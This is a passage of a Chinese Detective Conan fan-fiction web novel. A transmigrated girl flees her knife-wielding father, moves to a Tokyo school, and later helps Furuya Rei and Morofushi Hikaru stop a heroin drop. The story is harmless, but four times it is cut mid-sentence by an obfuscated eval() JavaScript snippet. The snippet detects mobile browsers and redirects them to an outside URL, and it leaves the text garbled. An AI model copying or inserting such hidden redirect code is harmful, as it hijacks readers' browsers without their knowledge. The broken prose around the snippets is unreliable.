《[柯南]和苏格兰痛感感应》 7. 离开长野 “你说什么?”有里茫然地从书本中抬头。 “没事,”外守一的手最终还是停留在理她头顶一寸的距离没有落下,心事重重地转身走了出去。 有里捏着笔紧紧地盯着卷子前道试题,等到外守一到脚步完全走远,才把笔放下。 她的背后出了一身冷汗。 这不是一个好现象——她太松懈了。 这段时间还算平静的生活让有里从没考虑过自己的变化会不会让人产生怀疑。 尤其是外守一,原身和自己的父亲关系很好这一点她大概能感受到——起码外守一是真的很爱这个孩子。 同样,这也就意味着他最有可能对自己的身份产生怀疑,关于来历这种事情因为太过玄乎所以有里一直不报有被人发现的考量。 性格上的改变还好说——只要她显现出孩子气的一面也不至于太过奇怪。 况且成长期孩子的性格本来就是一个在不断改变的过程。 有里看了原身以前的成绩,绝对称不上糟糕,也是称得上好学生这个标签的,但肯定是没有现在这么突出——起码之前诸伏景光是稳坐第一的。 可是现在为了完成系统的任务她势必要让自己投入大量的时间在学习上,并且不断探索不属于通常这个年龄阶段所应该接触的知识。 简单来说,是否有人能相信一个小孩在意外后智商增高? 别人相不相信不重要,如果外守一产生怀疑就惨了。 可是该怎么做…… 有里放慢脚步企图让自己融入同龄人的社交圈时,这两天她努力亲近自己现在血缘上的父亲——起码在邻居们看来这还是幸福的一家。 这种相处模式无疑是压力巨大的,有里在寻找机会。 霓虹的私塾教学质量和烧钱程度简直成正比,有里是万万张不开这个口去要求外守一负担这份责任的。 但饭喂到她嘴边还是要吃的。 有里已经是一万次地感谢自己认识了诸伏一家。 “老师,这是?” 放学后有里被诸伏老师叫到办公室,对方递给她一张登记表。 “有里,想去外面的世界看看吗?”诸伏老师轻声说。 “嗯。” 登记表上是特待生的申请。 “你之前的成绩也一直符合这个学校的要求,并且前几天还拿了竞赛奖牌,如果有这个想法可以报名参加这个考试试试,通过可以进入三年级的私塾上课。” “不过这也是一件大事,肯定会离家很远,和你父亲好好商量再做决定,老师相信你不管在哪都能做得很好的。”话是这样说,诸伏老师当然希望有能力的孩子能去更好的环境。 这真是瞌睡来了有人送枕头! 有里恨不得直接签了这份协议,逃避可耻但有用,怎样合理减少和外守一相处的时间是她这段时间一直在纠结的事情。 这不是完全拿捏! ———————— 外守一在她表现出来亲近之后,也会尽量早点回家陪伴他。 不出意外,今晚也是。 有里打了一下午的草稿,她有点犹豫地走到餐桌前,开口好像是有点困难? “怎么了,”外守一眯着眼睛,看出了她的忐忑。 像个正常的孩子一样,提出你的诉求和希望。 ——你只是想要抓住机会,去更好的地方读书而已。 有里递出了这张申请表,“我们老师说,我的成绩可以申请东京的特待生,所以……” 外守一拿着申请表仔细翻了翻,半天没有开口。 “有里,你是不是还在怪爸爸?”外守一低着头,忽然说出这一句似乎很没条理的话。 “啊?” “那天早上,爸爸不该和你吵架,”外守一抱着头失声痛哭,“如果不是我,你就不会出事。” 事实上阑尾炎发病和吵架没什么关系…… “我……” “所以你什么时候能回来。” 有里心猛地一跳,往后退了一步。 外守一抬头,这次的神态似乎有点疯癫,“你抢走了我的女儿的身体,现在还想彻底离开我?” 最担心的事情还是发生了——虽然有里一直不认为有人的脑洞能大成这样,但是外守一,显然不是常人所能理解的。 是因为她要转校带来的刺激? 这对女儿的爱已经偏执了吧。 “你冷静一点……” “要怎么才能让有里回来,”外守一眼眶充满了血丝,餐桌上的水果刀被他拿在了手里,他站起身向有里靠近。 “是不是再昏迷一次,你就会把我的女儿换回来。” 这人已经无法沟通了,有里扔下书包转身往门口跑去。 这个点已经过了放学的时间,她这辈子都想不到会被自己的“父亲”追杀。 虽然诸伏家离得很近,但现在很大概率只有师母在家,她不认为一个女性能抵抗住现在的外守一。 再加上只要外守一还有点脑子,在外面就会向她求助的人表现成一个正常的,和孩子吵架了的父亲姿态——没人会信她。 死路了吗……有里抿着嘴,她对这附近的路况当然不如外守一,所以在对方的有意追踪下,到了巷子口。 “有里,别跑了,爸爸来了。” 她绝对会因为这句话做噩梦的——如果今晚还能安然入睡的话。 大不了就是被捅几刀放点血,但是醒来如果被发现不对是不是无限循环啊! 于是……在有里准备好面对最坏打算之前,外守一被人砸中了头,昏了过去。 感谢从天而降的——石头块。 “呼……”一个穿着国中校服,皮肤色系很健康的男生先走了进来,“你没事吧。” “长野现在的治安这么乱吗?” 倒也不经常是。 少年您真是前途无量,这个年纪的准度已经如此优秀了吗。 “没事,谢谢您。”有里的力气一下子散去,瘫坐在地上。 后面紧跟着又走来一个男生,穿着同样的国中校服,眼角上挑,感觉很是眼熟? 两人应该是同班同学。 “我已经报警了,”后来的男生走上前,把外套盖在她腿上,“一会我们可以陪你一起去做笔录。” “你的家人呢,最好也打个电话吧。”大和敢助拿出自己的手机,“可以用我的。” 有里勉强地笑了笑,“他就是我父亲,我没有母亲了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424115|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哈?”巷子里爆发出一声尖叫。 “你是说,”大和敢助很勉强地复述了一遍,“你的爸爸刚刚拿着刀在追你?” “事实上拿刀这件事情只有你们看见了,在主路上他只是加快了步伐跟着和自己闹脾气的女儿。”有里无奈地开口。 连诸伏高明也被眼前的情况弄得沉默。 “骨肉血亲……”诸伏高明喃喃道。 “我没猜错的话,您有个弟弟,叫景光?”有里没忍住发问。 “是,”诸伏高明没否认,“你们是朋友。” “虽然这里不是叙旧的时机,但遇见你们真是太好了,”有里苦笑一声,拜托诸伏高明,“可以麻烦您联系一下诸伏老师吗,我在这里实在没有认识的大人了。” 总之,诸伏夫妇听说了这件事情倒是一起赶来,眼里全是不可思议。 “外守先生他也太过激了。” 有了成年人的参与事情变得好沟通起来。 在诸伏老师正直的证词下——外守一今天“性情大变”的原因在外人眼里也变得清晰,警方不局限于这是一场家庭内部的小争执。 毕竟那把水果刀真实存在。 这件事情要走正常的司法流程——虽然没对她造成实质性伤害,但父女关系使案件情节变得非常严重。 绝对是典型案例的程度。 在检方对外守一的心理状况进行评估后,会给他合理的服刑时间。 当然出狱后,外守一应该也会在专门的精神治疗机构过完余生。 不管过了多久,人都要为自己做的事情负责。 诸伏老师在有里面前蹲下,用着最轻柔的语气,“走吧,我们回家。” 她小声啜泣起来—— 不是悲伤。 是恐惧,还有自我谴责。 ———— 最后有里在诸伏老师的帮助下,还是选择去了东京的私塾。 当然,走之前,她去见了外守一。 她渴望家人,也努力尝试和外守一就这样好好相处。 但有些事情是没办法改变的,她的人生不能够就这样停滞不前。 “我之前和景光聊过,他说出事的那天早上,我告诉他‘今晚回去要好好和爸爸道歉’。” “有里很爱你。” 她说。 —————— 和之前在长野县的小学相比,东京的学习氛围和进度完全不一样。 选择来到这里的孩子都有各自的人生规划,再加上半封闭式的校园环境,内卷程度大大上升。 当然了,在她进入私塾额外获得200钻石的同时,有里发现测验得第一的分值也上升了——从之前的10钻石升级到20钻石。 不知道诸伏老师知道这个变化会不会难过。 事实证明这里的第一也不是那么好得,都是一样的题,只要用了心加脑子灵光,那么能拿满分的同学当然不只有她,甚至有时因为自己稍微大意了一下就容易失去榜首。 学习这件事情,是她可以选择的,最明确的出路了。 所以没办法懈怠。 等到有里适应下来有了自己的学习习惯,她发现当初在长野县的一个多月,已经开始变得模糊。 8. 帝丹高中 “学姐,打扰一下。”一道非常清润的少年音。 有里保持着几乎是刻在脸上的模板式的微笑,转过头去迎接下一名新生。 “你好,欢迎进入帝丹高中。” 却在看到对方连的时候往后退了一步,作为二年级在读生,同时也是学生会的一员,有里被抓来成为高中入学式的志愿者之一简直是理所当然的事情。 但她是万万没想到这么久没见的故人会在这里遇到。 在东京读书开始,有里已经鲜少回家了,更别提学校的电话只有假期能用,加上长长的队伍和限定的时间,她最多能来得及和诸伏老师说两句——尤其的师母,真的很关心她。 加上自己这边学校的内卷程度简直无人能及,鲜少的假期也被孩子们拿来自发的自习,两人假期也是一直错开的状态,更别想着在长野县来一场偶遇了。 更何况那个地方,对她来说,并不算十分愉快的回忆。 “学姐我们是不是在哪里见过?”诸伏景光开口。 一句话让有里汗流浃背了。 她想过重逢的方式,但没想过这么突然啊! “hiro,这种搭讪方式可是有些老套了哦。” 有里这才把视线转向刚刚这句话的源头——过了这么多年,有里还是不得不感叹自己的记忆力,或许也是因为这人的长相特征过于标志。 这金发黑皮的外貌一眼就让她记起了这个人的名字——降谷零。 “zero,你别开玩笑了。”诸伏景光被调侃却并没有明显地生气,看来关系是确实很好了。 逃避可耻但有用,这句话已经快成为有里的人生至理了。 “两位同学,入学仪式快要开始了哦。”有里成功调整了自己的表情,恢复到知心学姐的角色,“入口从这边走吧。” 保持着这个姿势送走两位,有里才站直擦了擦额头上的冷汗,就和猛地回头的降谷零对视。 不是她说,有的人这气势和敏锐度他就是天生的警察啊!!!! ———————— “那个学姐有什么问题吗?”降谷零搭上自己幼驯染的肩膀,他清楚诸伏景光不是冒冒然会说这种话的人。 难道是发现她有什么异常,或者是某种危险分子? 不知道自己幼驯染心理经过了这么多弯弯绕绕的诸伏景光摇了摇头。 他记忆力向来很好——就像他还记得自己小时候曾长野和群马边界线的山里和一位朋友一起抓独角仙,叫山村操。 八年的时间足以让人产生非常大的变化,不管是外貌还是性格。 他不知道对方认没认出他,或者是单纯的忘记或者不想见。 贸然打扰会让人产生困扰的吧——诸伏景光回头看见被一群新生围住的有里,她好像不需要自己这个朋友了? 另一边的降谷零发现自己幼驯染在看了一眼女生后变得眉头皱得更明显了——果然有问题! “听说了吗,昨天米花町又发生案件了呢。” 这两年偶尔在新闻报道上见识到的案件才会让有里产生一种——“我真的在柯学世界”的感觉。 “一定又是工藤先生解决的吧。” 这是说工藤优作了——那位世界著名推理小说家,有一种日本警察的救世主姿态。 “说起来他的妻子有希子好像也是帝丹高中的呢。” 朋友不多,全是校友是吧…… —————— “有里,听说今年的新生有两个池面脸呢!”前桌沙纪小咲八卦地转过来。 “消息很灵通啊,”有里没否认,毕竟那两位的颜值在人群中也是让人一眼就无法忽视的程度。 “诶!竟然是连你都承认的颜值,我下课就去看!”沙纪小咲来了兴趣。 “拜托,什么叫连我都承认的颜值啊……”有里扶额,“今天的笔记借我一下吧。” 沙纪小咲把早就准备好的笔记本放到有里桌子上,“就知道你一天都放不下课程,不过能把学生会的工作量和学业抓得这么好真是厉害呢。” 有里低头开始补笔记,实际上没有太多陌生的知识点,只是有时老师会收笔记当做课堂评分标准,于是也就分出了点心思继续聊天。 “是吗,因为前辈们都很关照我呢。”有里回答得滴水不漏。 实际上加入学生会完全是她权衡利弊之后的最优解——运动部或许更有趣,但自己绑定了那个“疼痛同感”系统后,偶尔会感受到疼痛,几次经历下来她算是摸清了这个门路——苏格兰受伤时,她也会感受到疼痛,虽然自己外表没一点事,但痛感可一点不少。 什么鸡肋的功能! 再加上自己确实是个体育低能,在进入私塾后彻底放飞自我将运动扔走,总之,她现在的运动能力可能还不如小学生...... 而且正经点说,学生会的工作可以作为申请大学时很大的加分项,忙是忙了点,熬过今年就好了吧。 “听说西园前辈最近有在打听你呢。”沙纪小咲笑眯眯地趴在她桌子上——不愧是她。 “看样子是被拒绝了啊——”沙纪小咲观察着好友的表情,很容易地得出了结论,“说起来西园前辈可是棒球部的部长呢,长的又帅,运动天赋也好……估计身材也不错,不考虑考虑!” “没个正经。”有里用笔敲了她的额头,打住这人继续的口出狂言行为。 有里落下最后一个字的时候正好是下课铃打响的时候,因为最后的自修课,大多数人都已经收拾好了东西去参加社团活动。 “快去看你的新人池面吧,”有里把笔记还给沙纪小咲,“晚了可能人就跑了哦。” 今天才结束入学仪式的工作,难得不用去学生会“加班”。 两点一线的生活让有里难免有些疲惫,紧绷的工作和学习让她头疼,或许是因为今天站着吹了一天风的原因,她向来良好的生理系统产生了一些小问题——简单来说就是小腹有些痛。 这种状态学习效率也不高,有里决定今晚放纵一下,出去吃点东西。 —————— 就知道每年新生入学的时候这群前辈会疯狂抢人,总的来说,今年训练场上的欢呼声比平时任何时候都大——有里路过的时候看见新生们一个个被“帅气正经”的前辈们迷得星星眼都出现了。 有里顿了一下,选择绕了点路没从棒球部前经过。 要说疲惫的时候,还是得选荞麦面啊。 “小姑娘又来了,老样吗?”店主上野大叔很热情地和她打了招呼。 有里在半年前发现了这家宝藏店铺后就成了常客——老板也是长野县人,这家的荞麦面绝对是她在东京吃过最正宗的。 “是的,谢谢您。”有里找了一个角落的位置入座。 小店位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424116|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置偏,人也不算多,老板说自己开这家店也不是为了赚钱,就是单纯地想把信州荞麦面带到东京。 “学姐,好巧。” 一个男生坐在了有里旁边的位置,声音有些熟悉,毕竟上午才听见过。 “你好,”在学生会待人接物成长了几年,虽然有里心里还拿不准降谷零为什么会出现在这里,但面上却是平常。 说了开场白,有里并没有接下去,话题当然要由想说话的人引导。 “学姐也是长野县的吗?”男生一副自来熟的样子,这话说的好像他也是一样…… “怎么了?”有里侧过头看他,上次认真看见这张脸还是在大屏幕上。 深色皮肤和浅色头发的角色,再加上紫灰色的瞳色,在他身上显得十分和谐和耀眼——怪不得自己的好友成天说“降谷先生的脸简直伟大”。 虽然比照29岁的他还明显稚嫩了些,但多了分张扬。 降谷零热爱推理,他总能注意到一些细节,现在他在学习通过一个人的语气动作判断她的性格和行动。 但眼下或许是自己学艺不精——面前这位女生,看他的眼神很认真,但好像又很空洞,像是在回忆什么? 他的记忆力向来很好,绝对能保证自己不曾见过对方的,再次确认了这一点之后,他开口回道: “只是我也非常爱吃荞麦面呢,这家店看起来很正宗的样子。” 摸不清对方是什么思路,但有一点有里可以肯定—— 这绝对不是降谷零恰巧和自己遇见的——八成是“不小心”看到自己来了这里吧…… 毕竟典礼上午已经结束,新生今天没有别的安排肯定是领完东西直接回家,准备开学要用的东西。 目的性明确,非常想要参加社团的才会逗留到现在,而且应该还在学校被一群学长学姐围攻。 能没背包地坐在这里肯定是已经把发的制服放回家才又出来的,这么一来目的性就很明确了,她可不信对方只是碰巧出来吃碗面。 自己被人跟踪了竟然毫无察觉——就算是降谷零这种铁板好人也会让人毛骨悚然啊!!! 想到这里,有里脸上的善意消减了几分。 老板端来的料理恰好打断了两人之间不太美妙的谈话。 有里对大多数面食的兴趣不大,但胡桃荞麦面除外。 面是长野的平均水准,有着东京吃不到的劲道和荞麦香。 说到酱汁就更绝了,核桃酱的香甜果木味,再淋上淡淡的酱油,奇妙的化学反应就来了裹在爽口的荞麦面上。 但核桃酱的味道比花生酱高级不少,没有黏糊糊腻歪的感觉。 这种甜而不腻的感觉,根本让人停不下筷子,让基本不会出错的天妇罗也黯然失色。 一碗面让两人方才奇怪的氛围得到缓解,降谷零心里的怀疑淡了淡——他第一次见到有人因为食物能把快乐写在脸上? 准确地说对方愉悦的情绪已经能感染到自己了,和这人一起吃饭似乎很下饭——如果诸伏景光知道自己幼驯染的想法一定会连连点头,深表赞同。 不过这家店味道确实不错,有机会要带hiro一起来试试。 这是店里两人的一致想法。 两人安静地吃完自己的食物,最后有里客气地说了一句:“既然是学弟,那今天我请了。” 降谷零!他竟然接受了!!! 9. 好久不见 一直到出了巷子有里还在想把自己的嘴捂住——这么穷就不要搞这些虚的了!!! 瞧她这张嘴......有里深以为自己的肚子更疼了。 降谷零当然没放过对方的反应,忍住了笑,真的是个简单的人,当然费用他刚刚已经偷偷放在她的书包里了。 心里的事情放下了,降谷零松了一口气,外面刚刚下起了小雨,行人更加稀少,再加上自己本身的观察力就出色,降谷零弯腰捡起了地上的纸条。 “ヒーローがいます” “什么?”有里刚刚走在前面,没注意到降谷零的动作,只是两人距离不远,刚好听见这句话有点莫名其妙,她转身重复了一遍:“英雄在里面?” 降谷零没接话,一瞬间就整理好了自己的情绪,“只是最近的热播剧的台词呢,学姐先走吧,我突然想起来有东西忘在了里面,要回去一趟。” 如果现在有可视化的特效,有里感觉自己头上此时应该有乌鸦飞过再加N个黑点,这人糊弄人的话是不是太随意了——她深刻觉得这是对自己智商的不尊重。 这已经是今天第二次在降谷零这里感受到了语塞,人不能再窝囊了! “我拜托你选个稍微好点的借口,来的时候空手来的,又一心为了套我的话哪里会忘了东西,你换成帮你朋友打包一份拿回去吃都比这个理由可信度高......” 有里拉进和降谷零的距离,并抢先对方一步进入了刚刚那条小巷子里,“快点吧侦探先生,犯人可不会等你。” 身后的人很快赶上来和她往里面走去,“你知道是怎么回事?” 有里侧目看了对方一眼,这才感觉对方的语气真诚了一点? 有种智商被人认可的感觉...... 说起来自己能快速反应过来还是因为自己会下意识将听到的一句话也用国语在脑子里过一遍,这才察觉到这条信息真正想传达的意思。 雨夜能冲刷掉不少痕迹,两人脚步不停,女生冷静地说:“hero in,对吧。” “说的没错,”降谷零轻声笑了出来,“heroin是海/洛因的意思,我猜测这里即将有一场毒/品交易。” “证据,”有里同样回敬,“为什么不是已经发生过?” 降谷零将刚刚把纸条拍了照放回了原处,所以现在只能口述剧情:“纸条只是微微湿润,还能辨别地出来上面的字迹,今天下雨,应该被扔在地上不久。” 啧,完全是信息差的问题——有里很快跟上思路,“你捡到纸条的时候雨下得还很小,现在已经有往中雨转的趋势,说明这不是连续小雨导致的纸条没有完全湿透,一定是刚被人放在那不久。” “这种情况要不然卖家会意识到雨天会让纸条损坏,自己赶来取走毒/品,要不就是确定买方会很快赶来及时完成交易,所以还是多亏了今天的好天气。”降谷零感叹着,好像欢快地马上要去参加什么郊游活动。 “呵呵,”有里很难赞同对方的说法,衣服被雨打湿贴在身上的感觉很难受,冷意渗透进她的皮肤,再加上和降谷零一路算是小跑的速度,她已经开始喘了。 “脑子很好,就是体力不行。”降谷零一针见血地评价。 两人到了巷子深处,前面是一个十字路口,在濒临路口的地方两人默契地停下了脚步,开始在遮蔽物里翻找。 既然纸条只说了在巷子里面,没有别的路标指示,那么买家一定也不会遇到纠结去哪个路口的问题,所以在岔路口之前一定就能找到他们想要的东西了。 现在的场面明明不太适合聊天,但他俩却恰恰相反。 “你真——礼貌——”有里阴阳怪气地回怼。 “虽然按年级你是学姐,不过按年龄我可是比你大哦——外守有里,学姐?” 有里的动作停了一瞬,“你怎么知道的?” 降谷零不紧不慢地说:“刚刚你提议让我带饭给朋友,不觉得很奇怪吗?” “正常人不会知道我和h......景光住在一起吧。” 话说到一半,降谷零意识到hiro这个称呼对方不一定知道,又换了称谓,“既然提议让我给他带饭,说明一定知道我们是谁吧。” 事已至此,有里承认,“不愧是你。” 其余的事情虽然两人还有的聊,但现在就先别了——有里发现了这人又一新技能,很会找东西啊。 两人一人一边躲在了岔路口的两边,静静等待。 为了避免阻力,有里把自己的书包放在了地上,还用塑料薄膜盖在上面——开玩笑,她的书可不能湿。 虽然看不清降谷零的表情,有里猜测对方的样子估计十分无奈? 好学生,你不懂的。 雨天也是有好处的,他们翻找的痕迹会被隐藏,并且因为踩到水发出的声响会更加明显,隔着路口,两人对视一眼。 来了。 刚刚降谷零拿了电话应该已经报了警,说实话对于现在的降谷零,有里还真的不完全确认能否制服一个成年男性。 但是她对自己有清楚的认知,体力废物不要被抓住做人质就是万幸了。 在男人翻找的时候,降谷零判断对方处于自己这边的视野盲区,就果断冲了出去。 男人蹲下翻找的动作显然为降谷零的这一击创下了良好的战斗基础。 他的攻击位置非常准确,男人也确实因为后腰收到重创而向一旁到下。 但战场尚未结束,因为那边踢里哐啷的声音不断传来,有里能猜想到现在的战场十分焦灼。 有里鼓足勇气谨慎探头 的瞬间就和刚刚被踹到地上的男人来了个深情对视。 啊啊啊啊啊啊,有里再一次感叹自己和这位金发黑皮的帅哥真真是没有一点默契。 男人恍惚了一下开始大笑,目光凶狠地瞪着她。 好吧,不用想,自己是目标了...... 有里调出手电筒立刻对准这个男人的眼睛,刺眼的光果然引起了他的不适,降谷零趁这个功夫又将男人往回拖了一段距离。 同样有里也发现了不对经,她拿光直射一是为了延缓对方的行动,二是...... “他吸过\毒。” 吸食海/洛因的瘾君子的瞳孔对光反射会很迟钝,且瞳孔呈现针尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424117|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状。 刚说完这话,已经被降谷零控制的男人又开始剧烈挣扎。 “犯病了。”降谷零下了结论。 “给你。”有里站在两米外的距离把绳子扔给降谷零。 他下意识接住扔过来的东西,“哪来的?” “包里,”现在可别闲聊了,“需要我帮忙吗?” 降谷零看见对方在说完这句话后甚至还往后退了一步? 也就没吱声。 男人在地上不停挣扎,伴随着强烈的酸臭味让人难受,有里默默鼓了掌,不愧是优秀的警察,不对,准警官先生。 这个年纪就可以完美制服成年人了。 路口又有人撑伞走来,有里逆光看得不慎真切,降谷零却明显松了一口气,“交给你了,hiro,我身上的味道实在受不了了。” “降谷零!!!!” 她敢保证这位是故意的。 如果目光可以杀人,降谷零相信今天已经被她大卸八块了。 于是这位帅哥转身温柔地说:“对了,外守学姐在这里等一下吧,警方来做笔录总要有一个当事人在场。” 你要不要走得这么干净!!!!! 这下两人之间那点犹豫要不要相认的剧情被降谷零一语点破。 诸伏景光面上没什么表情,只是把包里的伞递给了自己的好友,又上下打量了一番。 “我没事,”不愧是相处多年的幼驯染,降谷零看诸伏景光一个视线就知道对方在关心自己受没受伤。 诸伏景光微不可见地叹了口气,“回去帮你上药。” 他快步走到有里身边。 伞不大,能容纳两个人。 “好久不见。”六年过去,小男孩或许不能再称得上“小”字。 他张开了很多,面部线条干净利落,垂眸时可以看见又浓又长的睫毛。 不变的还是那双眼尾上挑的凤眼和蓝色的眼睛。 “好久不见。” 如果知道这句话来得是这个时候,她就应该今天早上扑过去和他相认。 总归比在这里淋雨吹冷风,旁边还有不适的呻吟声和刺鼻的酸臭味。 “某种意义上算是终生难忘。” “什么?”诸伏景光看她半天不说话,还以为自己有哪里不妥。 “怎么还这么傻,”有里叹了口气,“难得见面,来个拥抱?” 她这话说得自然,两个人自小相识现在又有缘来到一所高中部,可是......诸伏景光移开了视线,好像有点奇怪? “怎么了?”既然说开了,有里又回到钢铁直女的本色,“对哦,你撑着伞不方便。” 诸伏景光松了口气,以为这一茬就这样过去了,一时放松了注意力,却被向前扯进了一个......冰冷的怀抱。 “你有没有一点身为女生的自觉啊!”诸伏景光震惊了,手里握得伞都颤抖了一下,满脸不可思议。 “你果然后背是湿的!”有里在心里给自己的聪慧点了个赞,果然这家伙把伞都撑在了自己头上,放任半个身子淋雨。 两人同时开口,表情同步凝固在了脸上。 10. 脆皮的她 “哈......今天天气真不错。”有里企图抬头望天,只能看见这人的下巴,于是放弃又看地。 诸伏景光成功被逗笑了,先前以为的再见面时的尴尬没有发生,这人好像还是和以前一样。 还好——后来听父母说了她家里发生的事情,还在担心这孩子有没有什么心理阴影? “干嘛?”有里狐疑地抬头,“你这两年是不是吃什么增高的药了。” 明明之前还是没自己高的小屁孩,现在居然勉强高自己一个脑袋? “没有,”诸伏景光慢悠悠地开口,“因为我经常运动吧。” 一见面就戳她心窝子,“那你真棒!”有里竖起了大拇指试图装作没听懂对方语气中的含义。 “对了,这个麻烦你带给你的好朋友。”有里刚刚从书包里发现了零钱,这位准警官先生绝对有很强的犯罪能力啊!!! 诸伏景光不解。 “告诉他,这是聪明友善的学姐对脑子不错的同学的鼓励,希望下次继续。”听起来好像很真诚,但有里面无感情地说着这段台词。 “果然你们会成为很好的朋友,”诸伏景光猜到了来龙去脉,也没有推辞,“那我就好好转达。” “可惜了,”他好像又想到了别的事情,“当时还说有可能让你们两个比拼一下脑子,不过现在你大一级,看来是很难进行了。” 有里被他这一提醒,想到了刚刚降谷零总是一副【想知道你怎么看】的样子,原来是在较劲? 她微微皱眉:“你这话是不是也跟他提过。” “对啊,”诸伏景光不觉得有什么问题,“你们都是我的好朋友嘛。” 警察在十分钟后到达,有里平静叙述完关于事情的经过,冷静到警察侧目——简直像是一个局外人在读剧情? “我做过记忆方面的训练。”有里讲完案情,表情也显得灵动了很多,向警官微微一笑。 “嗷,那难怪,”警方也很愉快对方的配合,“现在的学生一个比一个优秀。” “谢谢您。”有里礼貌道别,欣然接受了这份称赞,准确说是他们比较优秀。 警察:他还以为对方要说“没有没有”推辞一番。 “你还进行了记忆训练?”诸伏景光提问。 “啊,有空的时候尝试了一下,”有里没有隐瞒,主要是为了钻石。 诸伏景光敏锐地从有里的历来表现中抓到了关键点:“拿过奖?” “嗯。”她波澜不惊——拿奖才能换钱。 诸伏景光轻咳了一下,试图让自己接受好友灵光到不行的大脑,“挺好,国奖?” “对。” 国奖钱才多。 “一等?”诸伏景光最后询问。 “真聪明。”有里点头对于自己小伙伴这么了解自己的事情感到很满意。 诸伏景光抿嘴,自己的每一句提问怎么在对方那里都成了陈述,事情发展到这个样子。 他默默想:自己的父亲估计是最骄傲的一个? 有里心里盘算着,自己已经攒了很久的“钱”,系统里有一个提问的选择,一次2000钻石,只能回答是否,有点类似于十八猜,现在能问四次。 她思考着在使用的是否是不是应该适当征询一下自己身边这些聪明的小脑瓜们的意见——她相信警校生们找人的思路和自己相比应该会更加妥帖。 不过如何提出好像是个问题。 两人各有各的心思,路过药妆店,有里停下脚步,“等我一下。” 诸伏景光抬头看了一眼,“我和你一起吧。” “没事,你收伞还要再撑伞挺麻烦的,我很快的。” 况且以诸伏景光之前描述的降谷零那副经常受伤的样子——家里面这种药应该是不缺的。 而且不是自己说,他也没有要停下来买药的样子。 普通的感冒药寝室倒是都有,只是今天淋了雨,有里感慨幸好自己之前听好姐妹闲聊的时候了解过一点,针对生理期好用的止痛药。 “你受伤了吗?”诸伏景光的声音在背后响起。 有里被吓了一跳,虽然不是什么丢脸的事情,但是这样谈论似乎也不是很合适? “话说你要给降谷同学上药的话,不用买吗?” 她岔开话题,走去结账。 诸伏景光站在原地若有所思地摸了摸下巴,转身去拿了暖贴。 听母亲说,这个好像有点用。 有里不着痕迹地撇了一眼诸伏景光的袋子,居然也买了东西——是降谷零太皮了,家里药用太快了? 于是等到了门口,诸伏景光自然地将袋子递给她的时候,有里深深地进行了自我反思,她向尊敬的降谷先生道歉。 ———— 事实证明不是谁都有降谷零那样的大猩猩体质。 “有里,你看起来状态很不好诶。”沙纪小咲回头贴了贴她的额头,“你发烧了。” 虽然昨晚回去立刻吃了感冒药,但有里思前想后也是实在忍受不了自己身上的味道,洗了澡之后昏昏沉沉的,今天早上闹钟响了几遍才听到。 “啊……没事。”疾病让她的思维明显变慢,她趴在桌子上闭着眼睛休息,感觉呼出来的气都是滚烫的。 “什么没事啊,我陪你去医务室!” 沙纪小咲知道自己的好友向来是课间要不刷题要不处理学生会的工作,能像现在这样趴在桌子上“浪费时间”,那绝对是难受的不行了。 有里掀开眼皮看了课表,下一节体育课——那没事。 “好吧……麻烦你了。” 沙纪小咲恨铁不成钢地看着她的动作,“快走吧!!” 沙纪小咲把她扶到沙发上去找老师,出来的时候发现人已经歪歪扭扭地半躺下了。 医务室的八木老师是个四十岁左右的女性,可能孩子和他们差不多大,一直很和蔼。 “诶呀,这孩子怎么烧成这样了!”她一边把眼镜带上,脚步也跟着小跑起来。 八木老师把体温计消毒让她夹好,“还有哪不舒服?” 酒精的味道让有里短暂地清醒了一刻。 “头有点疼?”有里感受了一下,主要是整个人依旧昏昏沉沉的,“好冷。” “是了,这一看就是高烧,”八木老师让沙纪小咲帮忙,一起把人扶到里面的病床上去。 剩下的事情有里便不太有印象了,只记得中间不停地有人给自己冰敷。 醒来得好好感谢沙纪小咲啊。 清醒的瞬间刚好是下课铃响的时候,好学生准则第一条让有里下意识地去看时间。 “别看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12424118|131961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,今天的课已经结束了。” 